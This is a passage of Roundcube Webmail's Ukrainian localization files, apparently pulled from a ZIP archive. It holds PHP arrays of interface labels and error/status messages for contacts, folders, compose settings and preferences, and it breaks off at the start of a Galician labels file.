$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Звичайний текст';
$labels['savesentmessagein'] = 'зберегти надісланого листа в';
$labels['dontsave'] = 'не зберігати';
$labels['maxuploadsize'] = 'Максимальний розмір файлу $size';
$labels['addcc'] = 'Додати копію';
$labels['addbcc'] = 'Додати приховану копію';
$labels['addreplyto'] = 'Додати зворотню адресу';
$labels['addfollowupto'] = 'Додати інших отримувачів';
$labels['mdnrequest'] = 'Відправник цього листа запитав про прочитання. Повідомити відправника?';
$labels['receiptread'] = 'Повідомлення про прочитання';
$labels['yourmessage'] = 'Повідомлення про прочитання Вашого листа';
$labels['receiptnote'] = 'Зауваження: Це повідомлення означає лише, що листа було відкрито одержувачем, і не гарантує того, що його було прочитано.';
$labels['name'] = 'Ім\'я для відображення';
$labels['firstname'] = 'Ім`я';
$labels['surname'] = 'Прізвище';
$labels['middlename'] = 'По батькові';
$labels['nameprefix'] = 'Префікс';
$labels['namesuffix'] = 'Суфікс';
$labels['nickname'] = 'Нікнейм';
$labels['jobtitle'] = 'Посада';
$labels['department'] = 'Відділ';
$labels['gender'] = 'Стать';
$labels['maidenname'] = 'Дівоче прізвище';
$labels['email'] = 'Електронна адреса';
$labels['phone'] = 'Телефон';
$labels['address'] = 'Адреса';
$labels['street'] = 'Вулиця';
$labels['locality'] = 'Місто';
$labels['zipcode'] = 'Індекс';
$labels['region'] = 'Область';
$labels['country'] = 'Країна';
$labels['birthday'] = 'День народження';
$labels['anniversary'] = 'Ювілей';
$labels['website'] = 'Веб-сайт';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'Примітки';
$labels['male'] = 'чоловіча';
$labels['female'] = 'жіноча';
$labels['manager'] = 'Менеждер';
$labels['assistant'] = 'Помічник';
$labels['spouse'] = 'Шлюбний партнер';
$labels['allfields'] = 'Усі поля';
$labels['search'] = 'Пошук';
$labels['searchresult'] = 'Результат пошуку';
$labels['advsearch'] = 'Розширений пошук';
$labels['advanced'] = 'Додатково';
$labels['other'] = 'Інше';
$labels['printcontact'] = 'Роздрукувати контакт';
$labels['typehome'] = 'Дім';
$labels['typework'] = 'Робота';
$labels['typeother'] = 'Інше';
$labels['typemobile'] = 'Мобільний';
$labels['typemain'] = 'Основний';
$labels['typehomefax'] = 'Домашній факс';
$labels['typeworkfax'] = 'Робочий факс';
$labels['typecar'] = 'Автомобіль';
$labels['typepager'] = 'Пейджер';
$labels['typevideo'] = 'Відео';
$labels['typeassistant'] = 'Помічник';
$labels['typehomepage'] = 'Домашня сторінка';
$labels['typeblog'] = 'Блог';
$labels['typeprofile'] = 'Профіль';
$labels['addfield'] = 'Додати поле...';
$labels['addcontact'] = 'Додати контакт ';
$labels['editcontact'] = 'Редагувати контакт';
$labels['contacts'] = 'Контакти';
$labels['contactproperties'] = 'Властивості контакта';
$labels['contactnameandorg'] = 'Ім\'я та організація';
$labels['personalinfo'] = 'Особова інформація';
$labels['personal'] = 'Особисті';
$labels['contactphoto'] = 'Фото контакту';
$labels['edit'] = 'Редагувати';
$labels['cancel'] = 'Скасувати';
$labels['save'] = 'Зберегти';
$labels['delete'] = 'Видалити';
$labels['discard'] = 'Відкинути';
$labels['rename'] = 'Перейменувати';
$labels['addphoto'] = 'Додати';
$labels['replacephoto'] = 'Замінити';
$labels['uploadphoto'] = 'Завантажити фотографію';
$labels['newcontact'] = 'Створити новий контакт';
$labels['deletecontact'] = 'Видалити вибрані контакти';
$labels['composeto'] = 'Створити листа для вибранних контактів';
$labels['contactsfromto'] = 'Контакти  $from - $to / $count';
$labels['print'] = 'Друкувати';
$labels['export'] = 'Експортувати';
$labels['exportall'] = 'Експортувати все';
$labels['exportsel'] = 'Експортувати виділені';
$labels['exportvcards'] = 'Експортувати контакти у формат vCard';
$labels['newgroup'] = 'Створити нову групу';
$labels['addgroup'] = 'Додати групу';
$labels['grouprename'] = 'Перейменувати групу';
$labels['groupdelete'] = 'Видалити групу';
$labels['groupremoveselected'] = 'Видалити обрані контакти з групи';
$labels['uponelevel'] = 'На рівень вище';
$labels['previouspage'] = 'Попередня сторінка';
$labels['firstpage'] = 'Перша сторінка';
$labels['nextpage'] = 'Наступна сторінка';
$labels['lastpage'] = 'Остання сторінка';
$labels['group'] = 'Група';
$labels['groups'] = 'Групи';
$labels['listgroup'] = 'Список членів групи';
$labels['personaladrbook'] = 'Персональні адреси';
$labels['searchsave'] = 'Зберегти пошук';
$labels['searchdelete'] = 'Видалити пошук';
$labels['import'] = 'Імпорт';
$labels['importcontacts'] = 'Імпортувати контакти';
$labels['importfromfile'] = 'Імпортувати з файлу';
$labels['importtarget'] = 'Додати контакти до';
$labels['importreplace'] = 'Замінити всю адресну книгу';
$labels['importgroups'] = 'Імпортувати розподіл за групами';
$labels['importgroupsall'] = 'Усі (створити групи за потреби)';
$labels['importgroupsexisting'] = 'Лише для наявних груп';
$labels['done'] = 'Готово';
$labels['settingsfor'] = 'Налаштування для';
$labels['about'] = 'Про програму';
$labels['preferences'] = 'Параметри';
$labels['userpreferences'] = 'Налаштування користувача';
$labels['editpreferences'] = 'Редагувати налаштування користувача';
$labels['identities'] = 'Профілі';
$labels['manageidentities'] = 'Керувати профілями';
$labels['newidentity'] = 'Створити новий профіль';
$labels['addidentity'] = 'Додати профіль';
$labels['editidentity'] = 'Редагувати профіль';
$labels['identityencryption'] = 'Шифрування';
$labels['preferhtml'] = 'Показувати в HTML';
$labels['defaultcharset'] = 'Кодування типово';
$labels['htmlmessage'] = 'Лист у HTML';
$labels['messagepart'] = 'Частина';
$labels['digitalsig'] = 'Цифровий підпис';
$labels['dateformat'] = 'Формат дати';
$labels['timeformat'] = 'Формат часу';
$labels['prettydate'] = 'Дати у зручному форматі';
$labels['setdefault'] = 'Встановити типово';
$labels['autodetect'] = 'Визначати автоматично';
$labels['language'] = 'Мова';
$labels['timezone'] = 'Часовий пояс';
$labels['pagesize'] = 'Рядків на сторінці';
$labels['signature'] = 'Підпис';
$labels['dstactive'] = 'Літній час';
$labels['showinextwin'] = 'Відкрити повідомлення в новому вікні';
$labels['composeextwin'] = 'Створити в новому вікні';
$labels['htmleditor'] = 'Створювати листи в HTML';
$labels['htmlonreply'] = 'тільки у відповідь на HTML-повідомлення';
$labels['htmlonreplyandforward'] = 'під час пересилання або відповіді на HTML-повідомлення ';
$labels['htmlsignature'] = 'Підпис в HTML';
$labels['showemail'] = 'Показувати електронну адресу та ім\'я';
$labels['previewpane'] = 'Показати попередній перегляд';
$labels['skin'] = 'Тема';
$labels['logoutclear'] = 'Очищати кошик при виході';
$labels['logoutcompact'] = 'Стискати теку Вхідні при виході';
$labels['uisettings'] = 'Інтерфейс користувача';
$labels['serversettings'] = 'Налаштування сервера';
$labels['mailboxview'] = 'Вид інтерфейсу';
$labels['mdnrequests'] = 'При запиті повідомлення про прочитання ';
$labels['askuser'] = 'запитати мене ';
$labels['autosend'] = 'відправляти автоматично';
$labels['autosendknown'] = 'відправити повідомлення моїм контактам, в іншому випадку запитати мене';
$labels['autosendknownignore'] = 'відправити повідомлення моїм контактам, в іншому випадку ігнорувати';
$labels['ignorerequest'] = 'ігнорувати запит';
$labels['readwhendeleted'] = 'Позначати як прочитане при видаленні';
$labels['flagfordeletion'] = 'Позначати для видалення замість видалення';
$labels['skipdeleted'] = 'Не показувати видалені листи';
$labels['deletealways'] = 'Видаляти листи при невдалому переміщенні до кошика';
$labels['deletejunk'] = 'Напряму видаляти повідомлення з теки Спам';
$labels['showremoteimages'] = 'Показувати віддалені зображення ';
$labels['fromknownsenders'] = 'від відомих відправників';
$labels['always'] = 'завжди';
$labels['alwaysbutplain'] = 'завжди, окрім відповідей на простий текст';
$labels['showinlineimages'] = 'Показувати вкладені зображення внизу листа';
$labels['autosavedraft'] = 'Автозбереження чернетки';
$labels['everynminutes'] = 'кожні $n хвилин(и)';
$labels['refreshinterval'] = 'Оновити (перевірити нові повідомлення, тощо)';
$labels['never'] = 'ніколи';
$labels['immediately'] = 'одразу';
$labels['messagesdisplaying'] = 'Відображення листів';
$labels['messagescomposition'] = 'Створення листів';
$labels['mimeparamfolding'] = 'Назви вкладень';
$labels['2231folding'] = 'Повний RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'RFC 2047 (інші поштові клієнти)';
$labels['force7bit'] = 'Використовувати MIME-кодування для 8-бітних символів';
$labels['savelocalstorage'] = "Зберегти у локальному сховищі браузера (тимчасово)";
$labels['advancedoptions'] = 'Додаткові параметри';
$labels['toggleadvancedoptions'] = 'Перемкнути додаткові параметри';
$labels['focusonnewmessage'] = 'Фокусувати вікно браузера при новому листі';
$labels['checkallfolders'] = 'Перевіряти нові листи у всіх теках';
$labels['defaultfont'] = 'Типовий шрифт HTML повідомлення';
$labels['mainoptions'] = 'Основні налаштування';
$labels['browseroptions'] = 'Налаштування браузера';
$labels['section'] = 'Розділ';
$labels['maintenance'] = 'Додатково';
$labels['newmessage'] = 'Новий лист';
$labels['signatureoptions'] = 'Налаштування підпису';
$labels['whenreplying'] = 'При відповіді';
$labels['replyempty'] = 'не цитувати оригінальне повідомлення';
$labels['replytopposting'] = 'починати новий лист перед цитованим';
$labels['replybottomposting'] = 'починати новий лист після цитованого';
$labels['replyremovesignature'] = 'При відповіді видаляти первинний підпис з листа';
$labels['autoaddsignature'] = 'Автоматично додавати підпис';
$labels['newmessageonly'] = 'тільки до нових листів';
$labels['replyandforwardonly'] = 'тільки при відповідях та пересилках';
$labels['insertsignature'] = 'Додати підпис';
$labels['sigbelow'] = 'Поставити підпис під цитованим повідомленням';
$labels['sigseparator'] = 'Ставити стандартний розділювач підписів';
$labels['afternseconds'] = 'через $n секунд';
$labels['reqmdn'] = 'Завжди вимагати повідомлення про доставку';
$labels['reqdsn'] = 'Завжди вимагати повідомлення про статус доставки';
$labels['replysamefolder'] = 'Розмістити відповіді у тій же теці, де знаходиться оригінал';
$labels['defaultabook'] = 'Адресна книга типово';
$labels['autocompletesingle'] = 'Пропускати додаткові адреси в автозавершенні';
$labels['listnamedisplay'] = 'Виводити список контактів як';
$labels['spellcheckbeforesend'] = 'Перевірити орфографію перед відправкою повідомлення';
$labels['spellcheckoptions'] = 'Налаштування перевірки орфографії';
$labels['spellcheckignoresyms'] = 'Ігнорувати слова із символами';
$labels['spellcheckignorenums'] = 'Ігнорувати слова із цифрами';
$labels['spellcheckignorecaps'] = 'Ігнорувати слова з великими буквами';
$labels['addtodict'] = 'Додати до словника';
$labels['mailtoprotohandler'] = 'Зареєструвати обробник для посилань mailto:';
$labels['standardwindows'] = 'Сприймати спливні вікна як звичайні';
$labels['forwardmode'] = 'Пересилання повідомлень';
$labels['inline'] = 'у тексті';
$labels['asattachment'] = 'як вкладення';
$labels['replyallmode'] = 'Типова дія для кнопки [Відповісти всім]';
$labels['replyalldefault'] = 'відповісти усім';
$labels['replyalllist'] = 'відповісти лише списку розсилки (якщо є)';
$labels['allmessages'] = 'всі повідомлення';
$labels['folder'] = 'Тека';
$labels['folders'] = 'Теки';
$labels['foldername'] = 'Назва теки';
$labels['subscribed'] = 'Підписані';
$labels['messagecount'] = 'Листи';
$labels['create'] = 'Створити';
$labels['createfolder'] = 'Створити нову теку';
$labels['managefolders'] = 'Керування теками';
$labels['specialfolders'] = 'Особливі теки';
$labels['properties'] = 'Властивості';
$labels['folderproperties'] = 'Властивості теки';
$labels['parentfolder'] = 'Батьківська тека';
$labels['location'] = 'Розташування';
$labels['info'] = 'Інформація';
$labels['getfoldersize'] = 'Показати розмір теки';
$labels['changesubscription'] = 'Змінити підписку';
$labels['foldertype'] = 'Тип теки';
$labels['personalfolder'] = 'Приватна тека';
$labels['otherfolder'] = 'Тека іншого користувача';
$labels['sharedfolder'] = 'Публічна тека';
$labels['findfolders'] = 'Знайти теки';
$labels['namespace.personal'] = 'Особисті';
$labels['namespace.other'] = 'Інші користувачі';
$labels['namespace.shared'] = 'Поширені';
$labels['encryptioncreatekey'] = 'Створити нову пару ключів';
$labels['encryption'] = 'Шифрування';
$labels['sortby'] = 'Відсортувати за';
$labels['sortasc'] = 'Сортувати за зростанням';
$labels['sortdesc'] = 'Сортувати за спаданням';
$labels['undo'] = 'Відмінити';
$labels['installedplugins'] = 'Встановлені плагіни';
$labels['plugin'] = 'Плагін';
$labels['version'] = 'Версія';
$labels['source'] = 'Джерело';
$labels['license'] = 'Ліцензія';
$labels['support'] = 'Отримати підтримку';
$labels['B'] = 'б';
$labels['KB'] = 'Кб';
$labels['MB'] = 'Мб';
$labels['GB'] = 'Гб';
$labels['unicode'] = 'Юнікод';
$labels['english'] = 'Англійське';
$labels['westerneuropean'] = 'Західноєвропейське';
$labels['easterneuropean'] = 'Східноєвропейське';
$labels['southeasterneuropean'] = 'Південно-Західна Європа';
$labels['baltic'] = 'Балтійське';
$labels['cyrillic'] = 'Кирилиця';
$labels['arabic'] = 'Арабське';
$labels['greek'] = 'Грецьке';
$labels['hebrew'] = 'Іврит';
$labels['turkish'] = 'Турецьке';
$labels['nordic'] = 'Скандинавське';
$labels['thai'] = 'Тайське';
$labels['celtic'] = 'Кельтське';
$labels['vietnamese'] = 'В\'єтнамське';
$labels['japanese'] = 'Японське';
$labels['korean'] = 'Корейське';
$labels['chinese'] = 'Китайське';
$labels['arialabeltopnav'] = 'Управління вікном';
$labels['arialabeltasknav'] = 'Завдання програми';
$labels['arialabeltoolbar'] = 'Панель інструментів програми';
$labels['arialabelactivetask'] = 'Активне завдання';
$labels['arialabelmessagessearchfilter'] = 'Фільтр списку пошти';
$labels['arialabelmailsearchform'] = 'Форма пошуку електронних листів';
$labels['arialabelcontactsearchform'] = 'Форма пошуку контактів';
$labels['arialabelmailquicksearchbox'] = 'Ввід пошуку пошти';
$labels['arialabelquicksearchbox'] = 'Ввід пошуку';
$labels['arialabelfoldersearchfilter'] = 'Фільтр списку тек';
$labels['arialabelfoldersearchform'] = 'Форма пошуку тек';
$labels['arialabelfolderlist'] = 'Вибір теки пошти';
$labels['arialabelmessagelist'] = 'Список повідомлень пошти';
$labels['arialabelmailpreviewframe'] = 'Попередній перегляд повідомлення';
$labels['arialabelmailboxmenu'] = 'Меню дій з теками';
$labels['arialabellistselectmenu'] = 'Меню вибору списку';
$labels['arialabelthreadselectmenu'] = 'Меню списку гілок';
$labels['arialabelmessagelistoptions'] = 'Опції відображення і сортування списку повідомлень';
$labels['arialabelmailimportdialog'] = 'Діалог імпортування повідомлень';
$labels['arialabelmessagenav'] = 'Навігація повідомленнями';
$labels['arialabelmessagebody'] = 'Тіло повідомлення';
$labels['arialabelmessageactions'] = 'Дії з повідомленням';
$labels['arialabelcontactquicksearch'] = 'Форма пошуку контактів';
$labels['arialabelcontactsearchbox'] = 'Ввід пошуку контактів';
$labels['arialabelmessageheaders'] = 'Заголовки повідомлень';
$labels['arialabelforwardingoptions'] = 'Опції пересилання';
$labels['arialabelreplyalloptions'] = 'Опції відповіді всім';
$labels['arialabelmoremessageactions'] = 'Більше дій з повідомленнями';
$labels['arialabelmarkmessagesas'] = 'Позначити обрані повідомлення як…';
$labels['arialabelcomposeoptions'] = 'Опції написання';
$labels['arialabelresponsesmenu'] = 'Меню заготовлених відповідей';
$labels['arialabelattachmentuploadform'] = 'Форма завантаження вкладень';
$labels['arialabelattachmentpreview'] = 'Попередній перегляд вкладення';
$labels['ariasummarycomposecontacts'] = 'Список контактів і груп для вибору одержувачів';
$labels['arialabelcontactexportoptions'] = 'Опції експорту контактів';
$labels['arialabelabookgroupoptions'] = 'Опції адресної книги/групи';
$labels['arialabelpreferencesform'] = 'Форма налаштувань';
$labels['arialabelidentityeditfrom'] = 'Форма редагування профілю';
$labels['arialabelresponseeditfrom'] = 'Форма редагування відповіді';
$labels['arialabelsearchterms'] = 'Умови пошуку';
$labels['helplistnavigation'] = 'Навігація клавіатурою по списку';
$labels['helplistkeyboardnavigation'] = "Стрілки вгору/вниз: Перемістити підсвічення/обирання рядка.
Пробіл: Обрати підсвічений рядок.
Shift + вгору/вниз: Обрати додатковий рядок вище/нижче.
Ctrl + пробіл: Додати підсвічений рядок до вибірки/вилучити з вибірки.";
$labels['helplistkeyboardnavmessages'] = "Стрілки вправо/вліво: розгорнути/згорнути гілку повідомлень (лише у режимі гілок).
Enter: Відкрити обране/підсвічене повідомлення.
Delete: Перемістити обрані повідомлення у Кошик.";
$labels['helplistkeyboardnavcontacts'] = "Enter: Відкрити обраний/підсвічений контакт.";
PK
h�\�x�#N#N'program/localization/uk_UA/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Виникла помилка!';
$messages['loginfailed']  = 'Невдала спроба входу';
$messages['cookiesdisabled'] = 'Ваш переглядач не приймає cookie';
$messages['sessionerror'] = 'Ваша сесія застаріла';
$messages['storageerror'] = 'Невдале з\'єднання з IMAP сервером';
$messages['servererror'] = 'Помилка сервера!';
$messages['servererrormsg'] = 'Помилка сервера: $msg';
$messages['accountlocked'] = 'Забагато невдалих спроб входу в систему. Спробуйте пізніше. ';
$messages['connerror'] = 'Помилка з\'єднання (не вдалося зв\'язатися з сервером)!';
$messages['dberror'] = 'Помилка бази даних!';
$messages['windowopenerror'] = 'Спливне вікно було заблоковано!';
$messages['requesttimedout'] = 'Час запиту вийшов';
$messages['errorreadonly'] = 'Неможливо виконати операцію. Тека доступна тільки для читання.';
$messages['errornoperm'] = 'Неможливо виконати операцію. Доступ заборонено';
$messages['erroroverquota'] = 'Неможливо виконати операцію. Немає вільного місця на диску.';
$messages['erroroverquotadelete'] = 'Недостатньо вільного місця на диску. Скористайтесь  SHIFT+DEL для видалення повідомлення.';
$messages['invalidrequest'] = 'Недійсний запит! Дані не збережено.';
$messages['invalidhost'] = 'Недійсне ім\'я сервера.';
$messages['nomessagesfound'] = 'Листів не знайдено';
$messages['mailboxempty'] = 'Поштова скринька порожня';
$messages['nomessages'] = 'Повідомлень немає';
$messages['refreshing'] = 'Оновлення...';
$messages['loading'] = 'Завантаження...';
$messages['uploading'] = 'Файл завантажується...';
$messages['attaching'] = 'Прикріплення файлу…';
$messages['uploadingmany'] = 'Завантаження файлів...';
$messages['loadingdata'] = 'Завантаження даних...';
$messages['checkingmail'] = 'Перевірка нових листів...';
$messages['sendingmessage'] = 'Відправка листа...';
$messages['messagesent'] = 'Лист успішно відправлено';
$messages['savingmessage'] = 'Збереження листа...';
$messages['messagesaved'] = 'Збережено в Чернетках';
$messages['successfullysaved'] = 'Збережено';
$messages['savingresponse'] = 'Збереження тексту відповіді...';
$messages['deleteresponseconfirm'] = 'Справді бажаєте видалити цей текст відповіді?';
$messages['addedsuccessfully'] = 'Контакт успішно доданий до адресної книги.';
$messages['contactexists'] = 'Контакт з такою самою адресою електронної пошти вже існує.';
$messages['contactnameexists'] = 'Контакт з таким самим іменем вже існує.';
$messages['blockedimages'] = 'Задля захисту Вашої приватності, зображення з зовнішніх джерел заблоковано у цьому листі.';
$messages['encryptedmessage'] = 'Лист зашифровано і не може бути відображено. Перепрошуємо!';
$messages['externalmessagedecryption'] = 'Лист зашифровано і не може бути розшифровано розширенням Вашого браузера.';
$messages['nopubkeyfor'] = 'Не знайдено дійсного публічного ключа для $email';
$messages['nopubkeyforsender'] = 'Не знайдено дійсного публічного ключа для профіля Вашого відправника. Ви хочете зашифрувати повідомлення лише для отримувачів?';
$messages['encryptnoattachments'] = 'Уже завантажені прикріплення не можна зашифрувати. Будь ласка, додайте їх заново у редакторі шифрування.';
$messages['searchpubkeyservers'] = 'Хочете пошукати ключі, яких бракує, на серверах публічних ключів?';
$messages['encryptpubkeysfound'] = 'Було знайдено такі публічні ключі: ';
$messages['nocontactsfound'] = 'Контакти не знайдені';
$messages['contactnotfound'] = 'Запитаний контакт не знайдений';
$messages['sendingfailed'] = 'Не вдалося відправити листа';
$messages['senttooquickly'] = 'Будь ласка, зачекайте $sec секунд для відправки листа';
$messages['errorsavingsent'] = 'Помилка при збереженні відправленого повідомлення.';
$messages['errorsaving'] = 'Помилка при збереженні.';
$messages['errormoving'] = 'Не вдалося перемістити лист(и).';
$messages['errorcopying'] = 'Не вдалося скопіювати лист(и).';
$messages['errordeleting'] = 'Не вдалося видалити лист(и).';
$messages['errormarking'] = 'Не вдалося позначити лист(и).';
$messages['deletecontactconfirm']  = 'Ви дійсно бажаєте видалити вибрані контакти?';
$messages['deletegroupconfirm']  = 'Ви дійсно хочете видалити обрану групу?';
$messages['deletemessagesconfirm'] = 'Ви дійсно бажаєте видалити вибрані листи?';
$messages['deletefolderconfirm']  = 'Ви дійсно бажаєте видалити цю теку?';
$messages['purgefolderconfirm']  = 'Справді бажаєте видалити усі листи у цій теці?';
$messages['contactdeleting'] = 'Видалення контакту(ів)...';
$messages['groupdeleting'] = 'Видалення групи...';
$messages['folderdeleting'] = 'Видалення теки...';
$messages['foldermoving'] = 'Переміщення теки...';
$messages['foldersubscribing'] = 'Підписати теку...';
$messages['folderunsubscribing'] = 'Відписати теку...';
$messages['formincomplete'] = 'Заповнено не всі поля';
$messages['noemailwarning'] = 'Будь ласка, введіть коректну адресу електронної пошти';
$messages['nonamewarning']  = 'Будь ласка, введіть ім\'я';
$messages['nopagesizewarning'] = 'Будь ласка, введіть розмір сторінки';
$messages['nosenderwarning'] = 'Будь ласка, введіть адресу електронної пошти відправника';
$messages['norecipientwarning'] = 'Будь ласка, вкажіть принаймні одного отримувача';
$messages['nosubjectwarning']  = 'Не вказано тему листа. Бажаєте вказати її зараз?';
$messages['nobodywarning'] = 'Відправити листа без тексту?';
$messages['restoresavedcomposedata'] = 'Знайдено написаного раніше, але не надісланого листа.\n\nТема: $subject\nЗбережено: $date\n\nХочете відновити це повідомлення?';
$messages['nosearchname'] = 'Будь ласка, введіть ім\'я чи електронну адресу';
$messages['notuploadedwarning'] = 'Деякі вкладення не було завантажено. Будь ласка, зачекайте або скасуйте завантаження.';
$messages['searchsuccessful'] = 'Зайдено $nr листів';
$messages['contactsearchsuccessful'] = '$nr контактів знайдено.';
$messages['searchnomatch'] = 'Пошук не дав результатів.';
$messages['searching'] = 'Пошук...';
$messages['checking'] = 'Перевірка...';
$messages['stillsearching'] = 'Пошук триває…';
$messages['nospellerrors'] = 'Орфографічних помилок не знайдено';
$messages['folderdeleted'] = 'Тека видалена';
$messages['foldersubscribed'] = 'Тека підписана';
$messages['folderunsubscribed'] = 'Тека відписана';
$messages['deletedsuccessfully'] = 'Видалено успішно';
$messages['converting'] = 'Видалення форматування...';
$messages['messageopenerror'] = 'Не вдалося завантажити повідомлення з сервера';
$messages['filelinkerror'] = 'Не вдалося прикріпити файл.';
$messages['fileuploaderror'] = 'Не вдалося вкласти файл';
$messages['filesizeerror'] = 'Розмір вибраного файлу перевищує максимально дозволений ($size)';
$messages['msgsizeerror'] = 'Помилка при додаванні вкладення. Максимальний розмір повідомлення файлу ($size).';
$messages['copysuccess'] = 'Успішно скопійовано $nr контактів';
$messages['movesuccess'] = 'Успішно переміщено $nr контактів';
$messages['copyerror'] = 'Не вдалося скопіювати жодного контакту.';
$messages['moveerror'] = 'Не вдалося перемістити контакти.';
$messages['sourceisreadonly'] = 'Дане джерело адрес доступне лише для читання';
$messages['errorsavingcontact'] = 'Неможливо зберегти адресу контакту';
$messages['movingmessage'] = 'Переміщення листа...';
$messages['copyingmessage'] = 'Копіювання листа...';
$messages['copyingcontact'] = 'Копіювання контакту(ів)...';
$messages['movingcontact'] = 'Перенесення контакту(ів)...';
$messages['deletingmessage'] = 'Видалення листа (ів)';
$messages['markingmessage'] = 'Позначення листа (ів)';
$messages['addingmember'] = 'Додання контакту(ів) до групи...';
$messages['removingmember'] = 'Видалення контакту(ів) з групи...';
$messages['receiptsent'] = 'Повідомлення про прочитання відправлено';
$messages['errorsendingreceipt'] = 'Не вдалося відправити повідомлення про прочитання';
$messages['deleteidentityconfirm'] = 'Ви дійсно бажаєте видалити цей профіль?';
$messages['nodeletelastidentity'] = 'Ви не можете видалити цей профіль, він у Вас останній.';
$messages['forbiddencharacter'] = 'Назва теки містить заборонені символи';
$messages['selectimportfile'] = 'Виберіть файл для завантаження';
$messages['addresswriterror'] = 'Обрана адресна книга недоступна для запису';
$messages['contactaddedtogroup'] = 'Контакти успішно додано до цієї групи';
$messages['contactremovedfromgroup'] = 'Контакти успішно видалено з цієї групи';
$messages['nogroupassignmentschanged'] = 'Розподіл за групами не змінено.';
$messages['importwait'] = 'Імпортування, будь ласка, зачекайте...';
$messages['importformaterror'] = 'Помилка імпорту! Завантажений файл має невідомий формат даних.';
$messages['importconfirm'] = '<b>Успішно імпортовано $inserted контактів</b>';
$messages['importconfirmskipped'] = '<b>Пропущені $skipped наявні записи</b>';
$messages['importmessagesuccess'] = 'Успішно імпортовано $nr повідомлень';
$messages['importmessageerror'] = 'Імпорт не вдався! Завантажений файл не є припустимим повідомленням чи файлом поштової скриньки';
$messages['opnotpermitted'] = 'Дія заборонена!';
$messages['nofromaddress'] = 'Відсутня адреса електронної пошти в обраному профілі';
$messages['editorwarning'] = 'Перемикання типу редактора може призвести до втрати форматування тексту. Хочете продовжити?';
$messages['httpreceivedencrypterror'] = 'Помилка конфігурації. Негайно зверніться до адміністратора. <b>Ваше повідомлення може бути відправлено.</b>';
$messages['smtpconnerror'] = 'Помилка SMTP-сервера ($code): Не вдалося з\'єднатися з сервером';
$messages['smtpautherror'] = 'Помилка SMTP-сервера ($code): Невдала спроба автентифікації';
$messages['smtpfromerror'] = 'Помилка SMTP-сервера ($code): Не вдалося вказати відправника "$from" ($msg)';
$messages['smtptoerror'] = 'Помилка SMTP-сервера ($code): Не вдалося додати отримувача "$to" ($msg)';
$messages['smtprecipientserror'] = 'Помилка SMTP: Не вдалося обробити список отримувачів';
$messages['smtperror'] = 'Помилка SMTP: $msg';
$messages['emailformaterror'] = 'Некоректна адреса електронної пошти: $email';
$messages['toomanyrecipients'] = 'Забагато отримувачів. Зменшіть їх число до $max.';
$messages['maxgroupmembersreached'] = 'Число адрес у групі перевищило максимальні $max.';
$messages['internalerror'] = 'Виникла внутрішня помилка. Будь ласка, спробуйте ще раз.';
$messages['contactdelerror'] = 'Неможливо видалити контакт(и)';
$messages['contactdeleted'] = 'Контакт(и) видалено успішно';
$messages['contactrestoreerror'] = 'Неможливо відновити видалений(і) контакт(и).';
$messages['contactrestored'] = 'Контакт(и) вдало відновлено.';
$messages['groupdeleted'] = 'Група видалена успішно';
$messages['grouprenamed'] = 'Група перейменована успішно';
$messages['groupcreated'] = 'Група створена успішно';
$messages['savedsearchdeleted'] = 'Збережений пошук вдало видалено.';
$messages['savedsearchdeleteerror'] = 'Неможливо видалити збережений пошук.';
$messages['savedsearchcreated'] = 'Збережений пошук вдало створено.';
$messages['savedsearchcreateerror'] = 'Не вдалось створити збережений пошук.';
$messages['messagedeleted'] = 'Лист(и) видалено успішно';
$messages['messagemoved'] = 'Лист(и) переміщено успішно';
$messages['messagemovedtotrash'] = 'Лист(и) переміщено в Корзину успішно';
$messages['messagecopied'] = 'Лист(и) скопійовано успішно';
$messages['messagemarked'] = 'Лист(и) помічено успішно';
$messages['autocompletechars'] = 'Введіть щонайменше $min символів для автозаповнення';
$messages['autocompletemore'] = 'Знайдено багато відповідних записів. Будь ласка, введіть більше символів.';
$messages['namecannotbeempty'] = 'Ім\'я не може бути пустим';
$messages['nametoolong'] = 'Занадто довге ім\'я';
$messages['namedotforbidden'] = 'Назва теки не може починатися з крапки.';
$messages['folderupdated'] = 'Тека успішно оновлена';
$messages['foldercreated'] = 'Тека створена';
$messages['invalidimageformat'] = 'Недійсний формат зображення';
$messages['mispellingsfound'] = 'Знайдено орфографічні помилки у повідомленні.';
$messages['parentnotwritable'] = 'Неможливо створити/перемістити теку до обраної батьківської теки. Нема прав доступу.';
$messages['messagetoobig'] = 'Частина повідомлення занадто велика для опрацювання.';
$messages['noscriptwarning'] = 'Увага: Даний клієнт електронної пошти потрібує Javascript! Щоб використовувати його, необхідно включити підтримку Javascript у налаштуваннях Вашого браузера.';
$messages['messageissent'] = 'Повідомлення уже надіслане, але ще не збережене. Хочете зберегти його зараз?';
$messages['errnotfound'] = 'Файл не знайдено';
$messages['errnotfoundexplain'] = 'Запитане джерело не знайдено!';
$messages['errfailedrequest'] = 'Запит не вдався';
$messages['errauthorizationfailed'] = 'Авторизація не вдалася';
$messages['errunauthorizedexplain'] = 'Не вдалося перевірити, що Ви авторизовані для доступу до цього ресурсу!';
$messages['errrequestcheckfailed'] = 'Перевірка запиту не вдалася';
$messages['errcsrfprotectionexplain'] = "Для Вашого захисту, доступ на цей ресурс убезпечується через CSRF.\nЯкщо Ви бачите це, Ви, напевно, не вийшли з системи перед тим, як залишити веб-аплікацію.\n\nЩоб продовжити, потрібна людська взаємодія.";
$messages['errcontactserveradmin'] = 'Будь ласка, зв\'яжіться зі своїм адміністратором сервера.';
$messages['clicktoresumesession'] = 'Натисніть тут, щоб відновити свою попередню сесію.';
$messages['errcomposesession'] = 'Помилка сесії створення листа';
$messages['errcomposesessionexplain'] = 'Запитана сесія створення не знайдена.';
$messages['clicktocompose'] = 'Натисніть тут, щоб створити нове повідомлення';
PK
h�\f��L�c�c%program/localization/gl_ES/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
